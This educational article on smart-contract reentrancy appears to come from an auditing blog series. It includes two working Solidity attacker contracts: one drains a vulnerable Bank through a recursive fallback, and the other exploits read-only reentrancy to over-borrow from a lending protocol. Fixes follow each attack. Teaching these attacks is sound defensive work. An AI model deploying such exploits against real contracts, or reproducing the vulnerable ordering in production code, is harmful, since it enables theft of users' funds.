Welcome back to the "Solodit Checklist Explained" series.
Today, we are exploring Reentrancy Attacks.
A reentrancy attack is the most widely known attack vector in smart contracts. It exploits a vulnerability where a function can be repeatedly invoked before its prior execution completes. This enables an attacker to manipulate the contract's state.
In this article, we will dissect two key checklist items related to reentrancy attacks. We’ll explore code examples, detailed scenarios, and proven mitigation techniques.
This is part of the "Solodit Checklist Explained" series. You can find the previous articles here:
For the best experience, open a tab with the Solodit checklist to refer to it as you read. Examples are available on my GitHub here.
The core of this vulnerability lies in the sequence of operations: when a smart contract interacts with an external contract, it creates a potential window for that external contract to call back into the original contract before its initial interaction is complete.
If the original contract defers critical state changes until after the external call, a malicious re-entry can exploit this delay, manipulating the contract's state while it is in an inconsistent, transitional phase.
Consider the simple Bank
contract below. Its withdraw
function is designed to send Ether to a user and then update their balance.
pragma solidity ^0.8.0;
contract Bank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
// Check: Ensure sufficient balance exists
require(balances[msg.sender] >= amount, "Insufficient balance");
// Interaction: External transfer of funds
// This is where the reentrancy window opens. The attacker receives funds prematurely.
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Effect: Update balance
// This state change occurs *after* the external call, creating the vulnerability.
unchecked {
balances[msg.sender] -= amount;
}
}
}
// Malicious Contract to exploit the Bank contract
contract Attacker {
Bank public bank;
constructor(Bank _bank) {
bank = _bank;
}
function attack() public payable {
// Step 1: Deposit funds to establish a legitimate balance for the attack
bank.deposit{value: 1 ether}();
// Step 2: Initiate the withdrawal. This call triggers the reentrancy.
bank.withdraw(1 ether);
// Step 3: Any remaining stolen funds held by this contract are sent back to the original caller.
msg.sender.call{value: address(this).balance}("");
}
// This fallback function is automatically executed when this contract receives Ether.
// It's the core of the reentrancy logic.
fallback() external payable {
// Continuously call withdraw as long as the Bank contract has funds
// and the attacker wants to withdraw (e.g., 1 ether per re-entry).
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
// The condition `address(bank).balance >= 1 ether` prevents unending recursion
// by stopping when the bank is sufficiently drained.
}
}
This specific reentrancy attack unfolds in the following steps:
Attacker
contract and then calling Attacker.attack()
.Attacker.attack()
, the attacker first deposit
s 1 Ether into the Bank
contract, establishing a legitimate balance.Attacker
contract calls bank.withdraw(1 ether)
.Bank.withdraw()
function:require(balances[msg.sender] >= amount)
check passes because the attacker's balance is sufficient.(bool success, ) = msg.sender.call{value: amount}("");
executes, sending 1 Ether to the Attacker
contract.balances[msg.sender] -= amount;
line in Bank.withdraw()
has NOT yet executed. The Bank
contract's state regarding the attacker's balance is still 1 ether
.Attacker
contract's fallback()
function is automatically triggered.Attacker.fallback()
:if (address(bank).balance >= 1 ether)
. Since the Bank
contract still holds funds (e.g., 10 ETH initially plus the 1 ETH deposit), this condition is true.fallback()
function recursively calls bank.withdraw(1 ether)
again.bank.withdraw()
succeeds because the balances[msg.sender]
has not been decremented from the previous call. This allows the attacker to repeatedly withdraw funds.Bank
contract's Ether reserves are significantly drained, specifically when address(bank).balance
falls below the 1 ether
withdrawal amount, which stops the recursion.Bank
contract is substantially emptied, the original and all recursive calls to Bank.withdraw()
finally complete their execution, and the balances[msg.sender] -= amount;
lines decrement the attacker's balance for each withdrawal. However, by this point, the attacker has already extracted significantly more Ether than their legitimately deposited amount.
To address this reentrancy vulnerability, adhering to the Check-Effects-Interactions pattern is paramount. This pattern mandates a strict ordering of operations within a function:
By updating all internal state variables before making any external calls, the contract ensures that its internal state is consistent and correct, even if a re-entrant call occurs. Any re-entrant call would then operate on the updated, correct state, preventing illicit withdrawals.
Applying this pattern to the Bank
contract involves simply reordering the lines within the withdraw
function:
pragma solidity ^0.8.0;
contract FixedBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
// Check: Validate balance
require(balances[msg.sender] >= amount, "Insufficient balance");
// Effect: Update balance *before* sending - Vulnerability fixed here!
balances[msg.sender] -= amount;
// Interaction: External transfer of funds *after* state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
Now, should a re-entrant call occur, the balances[msg.sender] will already have been decremented. Any subsequent attempt to withdraw more than the adjusted balance will immediately fail the require(balances[msg.sender] >= amount) check, thereby preventing the reentrancy attack.
An alternative defense against reentrancy attacks is the implementation of Reentrancy Guards. This mechanism utilizes a state variable, such as a boolean or enumeration, combined with a modifier to ensure a function can only be executed once at a time. When a protected function is called, the state variable is set to a "locked" state, and any subsequent reentrant call to the same function is reverted, effectively preventing the attack.
OpenZeppelin’s ReentrancyGuard contract, which is widely adopted and thoroughly tested, can be inherited to implement this protection. Additionally, OpenZeppelin offers ReentrancyGuardTransient, which uses transient storage to achieve the same protection with reduced gas costs, making it an efficient alternative for compatible environments.
By prioritizing the Check-Effects-Interactions pattern and employing reentrancy guards, developers can effectively mitigate the risks associated with reentrancy vulnerabilities.
ENTERED
for critical view functions to prevent returning stale data.This vulnerability is more subtle and frequently overlooked. While view
functions are not designed to modify a contract's state, they can still become a vector for attacks if they are called during an external call that temporarily puts the contract in an inconsistent state. This scenario is known as read-only reentrancy.
The core issue is that a view
function might read state variables that have been partially updated or are in a temporary, inconsistent configuration during an ongoing external call. If other critical contract logic or external protocols rely on the accuracy of these view
function returns, they could make flawed decisions based on "stale" or manipulated data. This could lead to financial losses or protocol compromise.
Consider a simplified lending protocol that integrates with a Vault
contract, using the Vault
's share price to determine collateral value for loans.
pragma solidity ^0.8.19;
// Vault that issues shares for ETH deposits
contract Vault is ReentrancyGuard {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowances;
uint256 public totalShares;
uint256 public totalBalance; // Track ETH balance internally
function deposit() external payable nonReentrant {
uint256 sharesToMint = msg.value; // 1:1 for simplicity
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
totalBalance += msg.value; // Update internal balance tracker
}
function withdraw(uint256 shareAmount) external nonReentrant {
require(shares[msg.sender] >= shareAmount, "Insufficient shares");
uint256 ethAmount = (shareAmount * totalBalance) / totalShares;
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount; // Update totalShares BEFORE external call - VULNERABILITY
// External call with ETH transfer - totalBalance not yet updated creates inflated price
(bool success,) = msg.sender.call{value: ethAmount}("");
require(success, "Transfer failed");
totalBalance -= ethAmount; // Update totalBalance AFTER external call
}
// Returns ETH value per share - can be manipulated during reentrancy
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (totalBalance * 1e18) / totalShares; // Use internal balance tracker
}
// Approve another address to transfer shares on your behalf
function approve(address spender, uint256 amount) external {
allowances[msg.sender][spender] = amount;
}
// Transfer shares from one address to another (requires approval)
function transferFrom(address from, address to, uint256 amount) external {
require(shares[from] >= amount, "Insufficient shares");
if (from != msg.sender) {
require(allowances[from][msg.sender] >= amount, "Insufficient allowance");
allowances[from][msg.sender] -= amount;
}
shares[from] -= amount;
shares[to] += amount;
}
}
// Lending protocol that uses vault share price as collateral oracle
contract LendingProtocol {
Vault public vault;
mapping(address => uint256) public collateralShares;
mapping(address => uint256) public debt;
constructor(Vault _vault) {
vault = _vault;
}
function fund() external payable {} // For funding the lending pool
function depositCollateral(uint256 shareAmount) external {
require(vault.shares(msg.sender) >= shareAmount, "Insufficient vault shares");
// Transfer shares from user to this contract as collateral
vault.transferFrom(msg.sender, address(this), shareAmount);
collateralShares[msg.sender] += shareAmount;
}
function borrow() external {
// This function calls vault.getSharePrice() to determine collateral value.
// During a reentrancy, vault.getSharePrice() might return an inflated value,
// allowing the borrower to take out more than their collateral is truly worth.
uint256 sharePrice = vault.getSharePrice();
uint256 collateralValue = (collateralShares[msg.sender] * sharePrice) / 1e18;
uint256 maxBorrow = collateralValue * 99 / 100; // 99% LTV for maximum impact
require(maxBorrow > debt[msg.sender], "Insufficient collateral");
uint256 borrowAmount = maxBorrow - debt[msg.sender];
require(address(this).balance >= borrowAmount, "Insufficient lending pool funds");
debt[msg.sender] += borrowAmount;
(bool success,) = msg.sender.call{value: borrowAmount}("");
require(success, "Borrow transfer failed");
}
}
// Attacker exploits read-only reentrancy for profit
contract Attacker {
Vault vault;
LendingProtocol lending;
uint256 private investment;
bool private attacking = false;
constructor(Vault _vault, LendingProtocol _lending) {
vault = _vault;
lending = _lending;
}
function exploit() external payable {
investment = msg.value;
// 1. Attacker deposits ETH to Vault to obtain shares.
vault.deposit{value: investment}();
uint256 shareAmount = investment / 2; // Use half for collateral, half for withdrawal later
// 2. Approve the lending protocol to transfer a portion of shares for collateral.
vault.approve(address(lending), shareAmount);
// 3. Deposit a portion of shares (e.g., half) as collateral into the lending protocol.
lending.depositCollateral(shareAmount);
// 4. Initiate a withdrawal of the remaining shares from the Vault.
// This call will trigger the Attacker's receive() function *before*
// the vault's totalBalance is fully updated, creating the reentrancy window.
attacking = true;
vault.withdraw(investment - shareAmount); // withdraw the other half of shares
attacking = false;
}
// This function is automatically triggered when Vault.withdraw() sends ETH to the Attacker.
receive() external payable {
if (attacking) {
// **During reentrancy**:
// The Vault's `totalShares` has been reduced by `withdraw()`.
// However, the Vault's `totalBalance` has NOT yet been reduced.
// This temporary state inconsistency causes `getSharePrice()` to return an inflated value.
// The attacker immediately requests to borrow from the lending protocol.
// The lending protocol uses the inflated share price to calculate collateral value.
try lending.borrow() {} catch {
// If the borrow fails (e.g., due to insufficient lending pool funds), catch the error.
}
}
}
}
This complex read-only reentrancy attack unfolds through the following sequence:
Vault.withdraw()
Function:withdraw
function in the Vault
contract first calculates ethAmount
(the Ether to be sent) based on the current totalBalance
and totalShares
.shares
and, crucially, totalShares
before making the external call
to msg.sender
to transfer Ether.totalBalance
is only updated after the external call completes.totalShares
has already been reduced, yet totalBalance
still holds its larger, pre-withdrawal value relative to the shares. This temporary inconsistency causes the getSharePrice()
function to report an inflated share price. For example, if a vault starts with 10 ETH and 10 shares (price 1 ETH/share), and a user withdraws two shares, totalShares
becomes eight shares, but totalBalance
temporarily remains 10 ETH before the ETH transfer is fully processed. At this point, getSharePrice()
would calculate (10 * 1e18) / 8
, resulting in an inflated price of 1.25 ETH/share.deposit()
and withdraw()
are protected by the nonReentrant
modifier, preventing direct reentrancy into these functions. However, the getSharePrice()
function is a view function and does not have this guard, allowing it to be called during the reentrancy window.LendingProtocol.borrow()
reliance:LendingProtocol
is designed to allow users to borrow against their collateralized Vault shares.LendingProtocol.borrow()
is called, it queries vault.getSharePrice()
to determine the current value of the collateral.LendingProtocol
relies on an external view
function for a critical valuation, it becomes susceptible if that view
function returns a stale or manipulated value.Attacker.exploit()
and Attacker.receive()
:Attacker.exploit()
):Vault
to acquire Vault
shares.LendingProtocol
to transfer a portion of these shares.LendingProtocol
as collateral.vault.withdraw()
with their remaining shares. This strategic call initiates the reentrancy.Attacker.receive()
triggered by vault.withdraw
's external call):vault.withdraw()
sends Ether to the Attacker
's contract address, the Attacker
's receive()
function is automatically triggered.Vault
contract is in its inconsistent state, as totalShares
has been reduced, but totalBalance
has not.Attacker.receive()
, the attacker immediately calls lending.borrow()
.lending.borrow()
executes, it fetches the sharePrice
from vault.getSharePrice()
. Due to the Vault's temporary inconsistent state, vault.getSharePrice()
returns the temporarily inflated share price.lending.borrow()
calculates the collateralValue
using this artificially inflated price, allowing the attacker to borrow significantly more Ether than their actual collateral should permit.Attacker.receive()
completes, the original vault.withdraw()
call resumes and finally updates totalBalance
. The Vault contract returns to a consistent state.This sophisticated attack shows why view
functions must return accurate values. When other protocols depend on them, even minor inconsistencies can lead to major exploits.
view
function itself, but the Vault.withdraw()
function. We note again that the withdraw()
function is protected by the nonReentrant
modifier, which prevents direct reentrancy. The developer may have assumed that this made it safe to ignore the Check-Effects-Interactions pattern. However, as we have seen, this allowed the getSharePrice()
function to return a stale value during the reentrancy window, leading to the read-only reentrancy attack. view
functions directly, as it would prevent them from being called in a read-only context. Instead, we can use a custom modifier that checks the reentrancy guard state before allowing access to critical view
functions. This ensures that if a function is currently executing and has locked the reentrancy guard, any attempt to call the view
function will revert, preventing it from returning stale data.
// Fixed Vault contract
contract FixedVault is ReentrancyGuard {
...
function withdraw(uint256 shareAmount) external nonReentrant {
// Check
require(shares[msg.sender] >= shareAmount, "Insufficient shares");
// Effect 1: Calculate amount *before* state changes
uint256 ethAmount = (shareAmount * totalBalance) / totalShares;
// Effect 2: Update ALL relevant state *before* external call
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
totalBalance -= ethAmount; // This line is now moved BEFORE the external call
// Interaction (now safe)
(bool success,) = msg.sender.call{value: ethAmount}("");
require(success, "Transfer failed");
}
// Checking _reentrancyGuardEntered ensures it cannot be called if *another*
// function (like withdraw) has engaged the reentrancy guard.
// This provides an extra layer of protection by preventing access to potentially
// stale data during an unsafe state window, even before the Check-Effects-Interactions
// pattern fully fixes the root cause of the inconsistency.
function getSharePrice() public view returns (uint256) {
if (_reentrancyGuardEntered()) {
revert ReentrancyGuardReentrantCall();
}
if (totalShares == 0) return 1e18;
return (totalBalance * 1e18) / totalShares;
}
}
By correctly implementing the Check-Effects-Interactions pattern in the withdraw
function (moving the totalBalance
update), the temporary state inconsistency is resolved.
Moreover, by adding an additional check _reentrancyGuardEntered()
to the function getSharePrice()
, re-entrant calls are directly prevented. If withdraw
(or any other function with nonReentrant
) is currently executing and thus has locked the reentrancy modifier, any attempt to call getSharePrice()
during that restricted period will revert.
This safeguard prevents getSharePrice() from being called when the contract's state might be temporarily inconsistent, ensuring it returns accurate values during safe execution.
We have explored critical check items related to reentrancy in smart contracts. By understanding how attackers can exploit delayed state changes and temporarily inconsistent data, developers can build stronger defenses. The increasing sophistication of decentralized finance (DeFi) protocols requires robust security measures integrated from the ground up.
Key takeaways:
Adopting these practices greatly reduces the threat of reentrancy attacks and helps build a more secure and dependable decentralized landscape.
In our next piece, we’ll uncover additional layers of smart contract security through an attacker’s perspective. Stay sharp, code with precision, and think like an adversary.